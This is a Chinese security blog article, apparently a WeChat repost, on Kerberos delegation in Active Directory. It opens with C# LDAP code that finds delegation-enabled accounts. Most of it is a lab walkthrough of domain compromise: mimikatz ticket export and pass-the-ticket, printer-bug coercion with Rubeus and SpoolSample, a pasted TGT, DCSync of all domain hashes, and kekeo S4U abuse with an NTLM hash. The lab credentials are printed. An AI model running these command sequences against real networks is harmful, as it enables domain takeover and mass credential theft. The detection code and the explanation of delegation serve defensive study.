【干货 | 内网渗透】Kerberos委派以及使用C#写代码进行检测

  • A+
所属分类:安全文章

0x00 C#检测委派账户

前文已经写到检测域内dcsync,adminsdholder等后门和一些基本域内信息

public static void Checkdelegation()        {            Ldapcoon.LDAP_COON();            Font.InfoFonts();            Console.WriteLine("rn");            Console.WriteLine("===========非约束性委派主机===========");            Font.NormailFonts();            Ldapcoon.search.Filter = "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))";            foreach (SearchResult r in Ldapcoon.search.FindAll())            {                string computers = "";                string groupdescription = "";                computers = r.Properties["distinguishedName"][0].ToString();                Console.WriteLine(computers);                //groupdescription = r.Properties["description"][0].ToString();                //Console.WriteLine("Description: " + groupdescription + "rn");            }            Font.InfoFonts();            Console.WriteLine("rn");            Console.WriteLine("===========非约束性委派用户===========");            Font.NormailFonts();            Ldapcoon.search.Filter = "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))";            foreach (SearchResult r in Ldapcoon.search.FindAll())            {                string users = "";                string groupdescription = "";                users = r.Properties["distinguishedName"][0].ToString();                Console.WriteLine(users);                //groupdescription = r.Properties["description"][0].ToString();                //Console.WriteLine("Description: " + groupdescription + "rn");            }            Font.InfoFonts();            Console.WriteLine("rn");            Console.WriteLine("===========约束性委派用户=============");            Font.NormailFonts();            Ldapcoon.search.Filter = "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))";            foreach (SearchResult r in Ldapcoon.search.FindAll())            {                string users = "";                string target = "";                int user_count = 0;                int target_count = 0;                int len = 0;                user_count = r.Properties["distinguishedName"].Count;                target_count = r.Properties["msDS-AllowedToDelegateTo"].Count;                while (len < user_count)                {                    users = r.Properties["distinguishedName"][len].ToString();                    Console.WriteLine(users);                    len++;                }                len = 0;                Font.Warning();                Console.WriteLine("rntarget SPN");                Font.NormailFonts();                while (len < target_count)                {                    target = r.Properties["msDS-AllowedToDelegateTo"][len].ToString();                    Console.WriteLine(target);                    len++;                }            }            Font.InfoFonts();            Console.WriteLine("rn");            Console.WriteLine("===========约束性委派主机=============");            Font.NormailFonts();            Ldapcoon.search.Filter = "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))";            foreach (SearchResult r in Ldapcoon.search.FindAll())            {                string users = "";                string target = "";                int user_count = 0;                int target_count = 0;                int len = 0;                user_count = r.Properties["distinguishedName"].Count;                target_count = r.Properties["msDS-AllowedToDelegateTo"].Count;                while(len < user_count)                {                    users = r.Properties["distinguishedName"][len].ToString();                    Console.WriteLine(users);                    len++;                }                len = 0;                Font.Warning();                Console.WriteLine("rntarget SPN");                Font.NormailFonts();                while (len < target_count)                {                    target = r.Properties["msDS-AllowedToDelegateTo"][len].ToString();                    Console.WriteLine(target);                    len++;                }            }        }

因为约束性委派会指定委派的对象可能为多个所以我们先检测他的count然后再遍历输出。

【干货 | 内网渗透】Kerberos委派以及使用C#写代码进行检测

0x01 委派

委派:当用户A基于kerberos验证去请求B服务,B服务使用A的身份去请求服务C。

【干货 | 内网渗透】Kerberos委派以及使用C#写代码进行检测

域内用户jack以Kerberos方式认证后访问Web服务器;Web服务以websvc服务账号运行,websvc向KDC发起jack用户的票据申请;KDC检查websvc用户的委派属性,如果被设置,则返回jack用户的可转发票据TGT;websvc收到jack用户TGT后,使用该票据向KDC申请访问文件服务器的服务票据TGS;KDC检查websvc的委派属性,如果被设置,且申请的文件服务在允许的列表清单中,则返回一个jack用户访问文件服务的授权票据TGS;websvc收到的jack用户的授权票据TGS后,可访问文件服务,完成多跳认证。

在域内只有服务账号机器账号才具有委派属性。

机器账号就是AD活动目录中 Computers 中的计算机(一个普通域用户默认最多可以创建十个主机账号)。

服务账号(Service Account)是域内用户的一种类型,是服务器运行服务时所用的账号,将服务运行起来并加入域。例如SQL Server 在安装时,会在域内自动注册服务账号 SQLServiceAccount。也可以将域用户通过注册SPN变为服务账号。

当用户被设置为不允许被委派,那么就不能委派。

【干货 | 内网渗透】Kerberos委派以及使用C#写代码进行检测

委派可以分为:

非约束性委派

约束性委派

基于资源的约束委派

0x02 非约束委派

操作环境:

域:redteam.local

域控:DC.redteam.local。主机名:DC。ip:192.168.11.16

域管账户:Administrator/test123..

域内机器:MSSQL.redteam。ip:192.168.11.8。普通账户:hack/test123..

前提:在机器账号B上配置了非约束性委派(域管理员才有权限配置)

1.用户访问机器B的某个服务,于是向KDC认证。KDC会检查机器B的机器账号的属性,发现是非约束性委派,KDC会将用户的TGT放在ST服务票据中。

2.用户访问机器B时,TGT票据会和ST服务票据一同发送给机器B

3.这样B在验证ST服务票据的同时获取了用户的TGT,并将TGT存储在LSASS进程中,从而可以模拟用户访问任意服务

从网络攻击的角度来看,如果攻击者控制了机器B的机器账号,并且机器B配置了非约束性委派。则攻击者可以诱骗管理员来访问机器B,然后攻击者可以获取管理员的TGT,从而模拟管理员访问任意服务,即获得了管理员权限。

在非约束行委派中,服务账号可以获取被委派用户的TGT,然后把TGT存储在LSASS进程中,从而服务账号可以使用这个TGT去模拟用户访问任何服务。

当服务账号或者主机被设置为非约束性委派时,其userAccountControl属性会包含WORKSTATION_TRUSTED_FOR_DELEGATION。我们设置MSSQL这个机器。

【干货 | 内网渗透】Kerberos委派以及使用C#写代码进行检测
【干货 | 内网渗透】Kerberos委派以及使用C#写代码进行检测

当我们控制了机器账号MSSQL,然后诱导管理员来访问机器,就可以获得管理员的TGT,从而访问任何服务。

2.1 筛选非约束性委派的账号

域控主机账户是默认开启非约束性委派

2.1.1 powerview.ps1

Import-Module .PowerView.ps1 查询域中配置非约束委派的账户Get-NetUser -Unconstrained -Domain redteam.local查询域中配置非约束委派的主机:Get-NetComputer -Unconstrained -Domain redteam.local
PS C:UsersAdministratorDesktop> Get-NetComputer -Unconstrained -Domain redteam.localDC.redteam.localmssql.redteam.localPS C:UsersAdministratorDesktop>

2.1.2 ADFind

查找域中配置非约束委派的用户:

AdFind.exe -b "DC=redteam,DC=local" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

查找域中配置非约束委派的主机:

AdFind.exe -b "DC=redteam,DC=local" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
C:UsersAdministratorDesktop>AdFind.exe -b "DC=redteam,DC=local" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedNameAdFind V01.56.00cpp Joe Richards ([email protected].net) April 2021Using server: DC.redteam.local:389Directory: Windows Server 2016dn:CN=DC,OU=Domain Controllers,DC=redteam,DC=local>cn: DC>distinguishedName: CN=DC,OU=Domain Controllers,DC=redteam,DC=localdn:CN=MSSQL,CN=Computers,DC=redteam,DC=local>cn: MSSQL>distinguishedName: CN=MSSQL,CN=Computers,DC=redteam,DC=local2 Objects returnedC:UsersAdministratorDesktop>

2.1.3 ldapsearch

查找域中配置非约束委派的用户:

ldapsearch -x -H ldap://192.168.11.16:389 -D "CN=hack,CN=Users,DC=redteam,DC=local" -w test123.. -b "DC=redteam,DC=local" "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"

查找域中配置非约束委派的主机:

ldapsearch -x -H ldap://192.168.11.16:389 -D "CN=hack,CN=Users,DC=redteam,DC=local" -w test123.. -b "DC=redteam,DC=local" "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"
┌──(root💀kali)-[~]└─# ldapsearch -x -H ldap://192.168.11.16:389 -D "CN=hack,CN=Users,DC=redteam,DC=local" -w test123.. -b "DC=redteam,DC=local" "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"distinguishedName: CN=DC,OU=Domain Controllers,DC=redteam,DC=localdistinguishedName: CN=MSSQL,CN=Computers,DC=redteam,DC=local┌──(root💀kali)-[~]└─#

2.2 非约束性委派攻击

我们在mssql这台机器访问域控。

【干货 | 内网渗透】Kerberos委派以及使用C#写代码进行检测

可以看到是访问是拒绝的。然后我们用域管账户去访问MSSQL

C:UsersAdministratorDesktop>dir \MSSQL.redteam.localc$

这个时候在MSSQL这台机器的lsass.exe内存中会存在域管administrator账户的TGT票据。然后在MSSQL机器运行mimikatz。

privilege::debug 导出票据sekurlsa::tickets /export
【干货 | 内网渗透】Kerberos委派以及使用C#写代码进行检测

然后再注入票据到内存里面,再访问域控。

导入票据kerberos::ptt xxx.kirbi查看票据kerberos::list
【干货 | 内网渗透】Kerberos委派以及使用C#写代码进行检测
【干货 | 内网渗透】Kerberos委派以及使用C#写代码进行检测

2.3 非约束性委派配合打印机

默认情况下Spooler服务是自动开启的。

使用本地管理员身份运行Rubeus来监听事件id为4624的事件,然后时间设置为1秒,可以截取到域控的TGT。

Rubeus.exe monitor /interval:1 /filteruser:DC$

然通过SpoolSample.exe向域控发起请求。

SpoolSample.exe DC MSSQL

Rubeus成功接受到了TGT

【干货 | 内网渗透】Kerberos委派以及使用C#写代码进行检测

复制监听到的TGT的base64

doIE+jCCBPagAwIBBaEDAgEWooIEETCCBA1hggQJMIIEBaADAgEFoQ8bDVJFRFRFQU0uTE9DQUyiIjAgoAMCAQKhGTAXGwZrcmJ0Z3QbDVJFRFRFQU0uTE9DQUyjggPHMIIDw6ADAgEXoQMCAQKiggO1BIIDsTRd7H8nT8n2+xhFjdYxWkeGwWptrnyKLgxn746x3g+68Wa92RV8mkudwvNSHPEbhA05tXVs62KwV/TjlhSHcjW9U8KfzgGdJpcpF8JrbW+X0ON4J0SyuwtcubsOiulJ6yiyH4riFlMTcl6TXMdbWCnOwIriPfOnQP/jtkcZWx2J27Y2HZ8cCAL00aV14S+ajcA65Howkx1/0ts+YQVZhFpc6l9fFQfGp9R87CjPNpWXEJV0iUGSELptTfXTxNSr/oF3+G7U0KrNl+9NMjloU6tFy/gnmc1PbDnUNXYgdKssUvxUpBzfVxq7leBkX1chx91kPcRrqAZC+tUWSoyULTkCPB8OcYY2DwHy4ElaQbo3y1mmq2DtHTx/ulGvwfKbpQrDgVSKZjE7VGdQSD7eAUJB7Pbu+lHsPc30DLVIbxJEQlC7WRKi1tNc6mhQJtAEGQFUUdYSQNtvNpiphZEfNGUoPaTz/9QspD9jjyVv+Dm7lqup5ojDSAxxc0Gzg61c4KmW3pJlmVQaN4f9Of+LeuqR3tR5EWxPqmkTgv1eVwdGryiF0cNC5Q7SAxrr6mgL2pL2HpMMILwhLSWlk0YIt6qdlyhRRdBzgopSzN5yB3IkSK4RXAF4CFYbximorzkIa9jG34ge9FlSVRkjUxNXb5KnCTDhLymT3F3tJeZoGig4Q+O9pfuUutsuxzSsy8u6xuuXkvg//LuXvDDOuVbOuKHR05tPfc1f9nKqs/YclidoYN3Nf/51pgF4n0ZXieHu5hgZYhb//qKh1X51ezI0MQ1gwkmssF9724s0U1QcLIS4ts3XxPCaDfuOeOLJUoMyqt0BdvYdVn6uGl0b2kCYwtk8ouIfuBbGeSYyGcSo+//tyTNJL57TCy42wRkFecRDdsBrRP8Je46fHBDPp7dhfOwP29Yt4nHFEtCKmjNeYLKQmQnKJ2i4AJKkOyi3QYPcf8Q+uzgU8c5V4p8kj+YBtvUMKQx6Dy1+MTfFz3tY1pQ7KB2pHziop/mm1f6ZPXNtoqcrtlCL+YGDEtgAPxSqaf3eAUhXar39qpUV1ey2Y7Pv/NZg8NevdUUG83LVXIiHHbwGTPBQgccrg9qC0cGHEHs0TNy7cLKc/8s86ZCzvBffmp/Q77QKZIH6jwvxopDjnO0s5jE9F7DVqBK51AWtPuSufXbOTqNMih90jxDJrb9cOZsIqadS7K6fJK232uUHCqSBP4H7QORFRPsCV6YFR13uzFutz+zN59+Y76NUrmhkqqOB1DCB0aADAgEAooHJBIHGfYHDMIHAoIG9MIG6MIG3oBswGaADAgEXoRIEEFo/U0fj+283YVzNrDWB7b+hDxsNUkVEVEVBTS5MT0NBTKIQMA6gAwIBAaEHMAUbA0RDJKMHAwUAYKEAAKURGA8yMDIxMTAwMzEyNDAzMlqmERgPMjAyMTEwMDMyMjQwMjlapxEYDzIwMjExMDEwMTI0MDI5WqgPGw1SRURURUFNLkxPQ0FMqSIwIKADAgECoRkwFxsGa3JidGd0Gw1SRURURUFNLkxPQ0FM

再Rubeus导入base64的票据直接注入进内存

Rubeus.exe ptt /ticket:base64

可以klist看到票据已经导入成功

【干货 | 内网渗透】Kerberos委派以及使用C#写代码进行检测

然后就可以直接dcsync

lsadump::dcsync /domain:redteam.local /all /csv
【干货 | 内网渗透】Kerberos委派以及使用C#写代码进行检测

0x03 约束性委派

操作环境:

域:redteam.local

域控:DC.redteam.local。主机名:DC。ip:192.168.11.16

域管账户:Administrator/test123..

域内机器:MSSQL.redteam。ip:192.168.11.8。普通账户:hack/test123..

前提:在服务A上配置到服务B约束性委派(域管理员才有权限配置)

1.用户访问服务A,于是向域控进行kerberos认证,域控返回ST1服务票据给用户,用户使用此服务票据访问服务A

2.若该服务A允许委派给服务B,则A能使用S4U2Proxy协议将用户发送给自己的可转发的ST1服务票据以用户的身份再转发给域控制器。于是域控返回给服务A一个ST2服务票据,

3.服务A便能使用获得的ST2服务票据以用户的身份访问服务B。

从网络攻击的角度来看,如果攻击者控制了服务A的账号,并且服务A配置了到域控的CIFS服务的约束性委派。则攻击者可以利用服务A以administrator身份访问域控的CIFS服务,即相当于控制了域控。

在kerberos协议里面存在两个拓展子协议S4u2seflt和S4u2Proxy。服务账号只能获取用户的TGS,这个时候就只能模拟用户访问特定的服务。

【干货 | 内网渗透】Kerberos委派以及使用C#写代码进行检测

当被配置了约束委派的账户的userAccountControl属性有个FLAG位 TRUSTED_TO_AUTH_FOR_DELEGATION,并且msDS-AllowedToDelegateTo 属性还会指定对哪个SPN进行委派。

【干货 | 内网渗透】Kerberos委派以及使用C#写代码进行检测

3.1 筛选约束性委派账号

3.1.1 ldapsearch

查找域中配置约束委派用户:

ldapsearch -x -H ldap://192.168.11.16:389 -D "CN=hack,CN=Users,DC=redteam,DC=local" -w test123.. -b "DC=redteam,DC=local" "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" |grep -iE "distinguishedName|allowedtodelegateto"

查找域中配置约束委派的主机:

ldapsearch -x -H ldap://192.168.11.16:389 -D "CN=hack,CN=Users,DC=redteam,DC=local" -w test123.. -b "DC=redteam,DC=local" "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" |grep -iE "distinguishedName|allowedtodelegateto"

3.1.2 FuckLdap

FuckLdap.exe -d 192.168.11.16 -u hack -p test123.. --Checkdelegation
【干货 | 内网渗透】Kerberos委派以及使用C#写代码进行检测

3.2 约束性委派攻击

我们这里设置了MSSQL这个机器用户对DC的cifs服务的委派。

当我们要进行约束委派攻击的前提就是拿到这台启用了约束委派的机器权限。

生成TGT

首先生成TGT

kekeo.exe "tgt::ask /user:MSSQL$ /domain:redteam.local /NTLM:29de42b31e2b7961fda4fbe648d062c9" "exit"

获得ST

使用这张TGT通过伪造s4U请求以administrator用户身份请求去访问DC的cifs的ST

kekeo.exe "tgs::s4u /tgt:[email protected][email protected] /user:[email protected] /service:cifs/DC.redteam.local" "exit"

S4U2Self获取到的ST1以及S4U2Proxy获取到的DC CIFS服务的ST2会保存在当前目录下

注入ST2

kerberos::ptt [email protected].local@REDTEAM.LOCAL_cifs~DC.redteam.local@REDTEAM.LOCAL.kirbi

然后访问域控

【干货 | 内网渗透】Kerberos委派以及使用C#写代码进行检测

【干货 | 内网渗透】Kerberos委派以及使用C#写代码进行检测

【往期推荐】

【内网渗透】内网信息收集命令汇总

【内网渗透】域内信息收集命令汇总

【超详细 | Python】CS免杀-Shellcode Loader原理(python)

【超详细 | Python】CS免杀-分离+混淆免杀思路

【超详细 | 钟馗之眼】ZoomEye-python命令行的使用

【超详细 | 附EXP】Weblogic CVE-2021-2394 RCE漏洞复现

【超详细】CVE-2020-14882 | Weblogic未授权命令执行漏洞复现

【超详细 | 附PoC】CVE-2021-2109 | Weblogic Server远程代码执行漏洞复现

【漏洞分析 | 附EXP】CVE-2021-21985 VMware vCenter Server 远程代码执行漏洞

【CNVD-2021-30167 | 附PoC】用友NC BeanShell远程代码执行漏洞复现

【奇淫巧技】如何成为一个合格的“FOFA”工程师

【超详细】Microsoft Exchange 远程代码执行漏洞复现【CVE-2020-17144】

【超详细】Fastjson1.2.24反序列化漏洞复现

  记一次HW实战笔记 | 艰难的提权爬坑

走过路过的大佬们留个关注再走呗【干货 | 内网渗透】Kerberos委派以及使用C#写代码进行检测

往期文章有彩蛋哦【干货 | 内网渗透】Kerberos委派以及使用C#写代码进行检测

【干货 | 内网渗透】Kerberos委派以及使用C#写代码进行检测

一如既往的学习,一如既往的整理,一如即往的分享。【干货 | 内网渗透】Kerberos委派以及使用C#写代码进行检测

如侵权请私聊公众号删文

点赞    在看    转发

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: